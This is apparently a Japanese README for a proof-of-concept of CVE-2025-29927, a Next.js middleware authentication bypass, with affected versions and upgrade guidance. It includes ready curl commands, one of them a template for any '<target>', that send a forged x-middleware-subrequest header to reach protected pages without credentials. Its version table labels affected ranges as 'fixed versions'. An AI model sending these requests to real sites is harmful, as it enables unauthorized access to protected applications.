
CVE-2025-29927の概念実証エクスプロイト。x-middleware-subrequestヘッダーを介したNext.jsミドルウェアの認証バイパスを実証し、影響を受けるバージョンと緩和策のガイダンスを提供します。
クラブの前にいる用心棒を想像してみてください。もし「もう中にいるよ」と言えば、チェックをせずに通してくれます。それがまさにCVE-2025-29927です。
Next.jsのミドルウェアはリクエストが処理される前に実行され、認証を処理する理想的な場所です。Next.jsは内部の x-middleware-subrequest ヘッダーを使用して、再帰的リクエストを防ぎ無限ループを回避します。この脆弱性は、保護されたルートに到達する前に認証などの重要なセキュリティチェックを含む、ミドルウェアの実行を完全にバイパスまたはスキップできることを示しています。
| ブランチ | 修正バージョン |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
何千、何百万ものアプリケーションがパッチ未適用のNext.jsバージョンで動作しています。緩和策が講じられていない場合、この脆弱性により、認証情報を必要とせずに誰でも保護されたルートにアクセスできるようになります。
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
応答は、認証なしで保護されたページを返します。
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Next.jsをパッチ適用済みのバージョンにアップグレードしてください:
15.x → 15.2.3 以上14.x → 14.2.25 以上13.x → 13.5.9 以上